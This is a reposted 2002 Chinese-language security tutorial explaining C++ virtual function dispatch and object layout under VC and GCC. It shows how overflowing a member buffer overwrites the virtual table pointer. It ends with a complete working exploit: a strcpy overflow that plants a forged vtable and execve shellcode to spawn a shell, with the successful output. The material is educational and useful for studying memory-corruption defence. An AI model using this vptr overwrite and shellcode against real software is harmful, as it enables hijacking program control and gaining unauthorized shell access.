`
weiyinchao88
  • 浏览: 1176318 次
文章分类
社区版块
存档分类
最新评论

C++中通过溢出覆盖虚函数指针列表执行代码

 
阅读更多

作者:watercloud
主页:http://www.nsfocus.com
日期:2002-4-15


目录:

1. C++中虚函数的静态联编和动态联编
2. VC中对象的空间组织和溢出试验
3. GCC中对象的空间组织和溢出试验
4. 参考


<一> C++中虚函数的静态联编和动态联编

C++中的一大法宝就是虚函数,简单来说就是加virtual关键字定义的函数。
其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
使用,一个典型的例子就是虚函数是MFC的基石之一。

这里有两个概念需要先解释:

静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
动态联编:程序运行阶段确定调用目标的地址。

在C++中通常的函数调用都是静态联编,但如果定义函数时加了virtual关键
字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。

一个简单例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;

int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}




使用VC编译:
开一个命令行直接在命令行调用cl来编译: (如果你安装vc时没有选择注册环境
变量,那么先在命令行运行VC目录下bin/VCVARS32.BAT )

cl test.cpp /Fa
产生test.asm中间汇编代码

接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !

我们来看看:

数据定义:

_BSS SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位
_BSS ENDS

看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:

_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白??

mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'

; 前面的部分都是编译器加的东东,我们的赋值在这里

mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看来 _this+4就是num1的地址

mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP

那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何
处调用的构造函数:

_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP

看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址 。

那么构造函数里的这两行又是干什么呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'

我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@

来看看 ??_7ClassA@@6B@ 是哪个道上混的:

CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS

看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。


好了,至此我们已经看到了objA的构造了:

| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1变量的空间 |
+--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+

来看看main函数:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA

; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针
; 指向调用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接调用,已经确定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; )


; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]里存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP



好了,相信到这里你已经对动态联编有了深刻印象。


<二> VC中对象的空间组织和溢出试验

通过上面的分析我们可以对对象空间组织概括如下:

| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成员变量| |
+----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable
| 高地址 | |虚函数1的地址 |
+--------------+
|虚函数2的地址 |
+--------------+
| . . . . . . |

可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!

现在来作一个溢出试验:
先写个程序来看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;

int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}

用cl编译运行结果为:
0x00408998:0x00408990:0x00408991:0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
ClassEx obj1,obj2,* pobj;
int buff[1];
结果还是一样!! 不会是vc就是防着这一手吧!
看来想覆盖不容易呀 ; )
只能通过obj1 溢出覆盖obj2了

//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};

ClassEx obj1,obj2,* pobj;

int main(void)
{

pobj=&obj2;
obj2.test();

int vtab[1] = { (int) entry };//构造vtab,
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//这里修改了函数指针列表的地址到vtab
pobj->test();
return 0;
}

编译 cl ex_vc.cpp

运行结果:
ClassEx::test()
Why a u here ?!

测试环境: VC6


看我们修改了程序执行流程 ^_^

平时我们编程时可能用virtaul不多,但如果我们使用BC/VC等,且使用了厂商提供的
库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量
赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....



<三> GCC中对象的空间组织和溢出试验

刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件
test.s 然后分析test.s我们就能得到许多细节上的东西。

通过分析我们可以看到:

gcc中对象地址空间结构如下:

| 低地址 |
+---------------+ 对象的开始地址
| |
| 成员变量空间 |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虚函数1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虚函数2入口地址 |
+------------------+
| . . . . . . |


哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!


来写个溢出测试程序:

//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小为1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};

void entry(void)
{
cout << "Why are u here ?!" << endl;
}

int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
//test() -> entry()

a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针
a.test(); //静态联编的,不会有事
p->test(); //动态联编的,到我们的函数表去找地址,
// 结果就变成了调用函数 entry()

}

编译: gcc test.cpp -lstdc++
执行结果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!


测试程序说明:

具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+


这就是其虚函数列表里的内容了。

test()地址在第3个(long)型地址空间

所以我们构造addr[]时:

long addr[] = {0,0,0,(long)entry};

就覆盖了test()函数的地址 为 entry()的地址

p->test()
时就跑到我们构建的地址表里取了entry的地址去运行了


测试环境 FreeBSD 4.4
gcc 2.95.3

来一个真实一点的测试:
通过溢出覆盖pvftable,时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。

#include<iostream.h>
#include<stdio.h>
class ClassBase //定义一个基础类
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虚函数
};

class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};

class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};

char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_*
char shellcode[]="1/xc0Ph//shh/binT[PPSS4;/xcd/x80";
int i;

int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };

a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");

for(i=0;i<2;i++) //C++中的惯用手法,
//一个基础类的指针指向上层类对象时调
//用的为高层类的虚函数
classBuff[i]->printBuffer(); // 这里是正常用法

cout << &a << " : " << &b << endl; // &b就是上面addr的值,
//如果你的机器上两个值不同就改一改addr值吧!
//构造一个特殊的buff呆会给b.setBuffer
// 在开始处构造一个vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虚函数printBuffer入口地址
// 的位置指向shell代码处了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);

for(;pc - buffer < 128 ; *pc++='A'); //填充

pl=(long *) pc;
*pl= addr; //覆盖pvftable使其指向我们构造的列表

b.setBuffer(buffer); //溢出了吧 .

// 再来一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 时一个shell就出来了

return 0;
}


bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵,成功了

说明:

addr = &b 也就是 &b.buff[0]

b.setBuffer(buffer)
就是让 b.buff溢出,覆盖128+4+1个地址。
此时内存中的构造如下:

&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | /0]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此处即pvftable项 ,被溢出覆盖为 addr <---+

现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表,虚函数的入口地址为shellcode的地址 !


本文只是一个引导性文字,还有许多没
有提到的细节,需要自己去分析。
俗话说自己动手丰衣足食 *_&

<四> 参考

Phrack56# << SMASHING C++ VPTRS >>



个人愚见,望斧正!

__watercloud__

(watercloud@nsfocus.com)

2002-4-15

分享到:
评论

相关推荐

    网络渗透--《C++中溢出覆盖虚函数指针技术》

    网络渗透--《C++中溢出覆盖虚函数指针技术》,内部安全资料,在此与大家分享,欢迎下载...........

    C++代码设计与重用

    4.4.2 虚函数 4.4.3 返回引用 4.5 空闲存储空间(free-store)和堆栈空间(stack space) 4.5.1 使用高效的算法 4.5.2 尽可能快地释放空闲资源 4.5.3 静态对象 4.5.4 庞大的对象 4.6 效率的权衡 4.6.1 实现...

    C_C++问题总结

    3.3 构造函数能否为虚函数 3.4 C语言编译全过程 3.5 单例模式 3.5.1 如何实现单例模式 3.5.2 如何实现单例模式 3.6 返回“引用”的格式、好处、注意事项 3.7 指针的表示 3.8 拷贝构造函数的调用时机 3.9 如何确保...

    C++背题大纲1

    1.虚函数 2.纯虚函数 3.内存泄漏 内存溢出 野指针 4.访问控制 5.类中对象分布 6.overload重载 override覆盖 overwrite重写

    C/C++笔试题(附答案,华为面试题系列)

    答:线程通常被定义为一个进程中代码的不同执行路线。从实现方式上划分,线程有两 种类型:“用户级线程”和“内核级线程”。 用户线程指不需要内核支持而在用户程序 中实现的线程,其不依赖于操作系统核心,应用...

    C++复习资料之系列

    执行C++程序时出现的“溢出”错误属于( c )错误。 (a) 编译 (b) 连接 (c) 运行 (d) 逻辑 6.下列选项中,全部都是C++关键字的选项为( c )。 (a) while IF static (b) break char go (c) sizeof case ...

    在一小时内学会 C#(txt版本)

    4. C# 中没有全局变量或全局函数,取而代之的是通过静态函数和静态变量完成的。 数据类型 所有 C# 的类型都是从 object 类继承的。有两种数据类型: 1. 基本/内建类型 2. 用户定义类型 以下是 C# 内建类型的...

    c与c++常见面试题汇总

    7.什么函数不能声明为虚函数? constructor 8.冒泡排序算法的时间复杂度是什么? O(n^2) 9.写出float x 与“零值”比较的if语句。 if(x&gt;0.000001&&x) 10. Internet采用哪种网络协议?该协议的主要层次结构...

    c++ 面试题 总结

    1.是不是一个父类写了一个virtual 函数,如果子类覆盖它的函数不加virtual ,也能实现多态? virtual修饰符会被隐形继承的。 private 也被集成,只事派生类没有访问权限而已 virtual可加可不加 子类的空间里有父类...

    一些C面试题,希望能对大家有帮助

    12. 什么函数不能声明为虚函数? constructor 13. 冒泡排序算法的时间复杂度是什么? O(n^2) 14. 写出float x 与“零值”比较的if语句。 if(x&gt;0.000001&&x) 16. Internet采用哪种网络协议?该协议的主要层次结构? ...

    PaperTest Q&amp;A笔试综述

    1)构造函数虚函数静态成员函数…… 35 2)copy&amp; assignment… 36 3)列表初始化 37 4)多态… 37 5)静态绑定与动态绑定 38 6 Explicit mutable volatile internal 39 7)继承… 39 8〕)堆栈溢出 面主...

Global site tag (gtag.js) - Google Analytics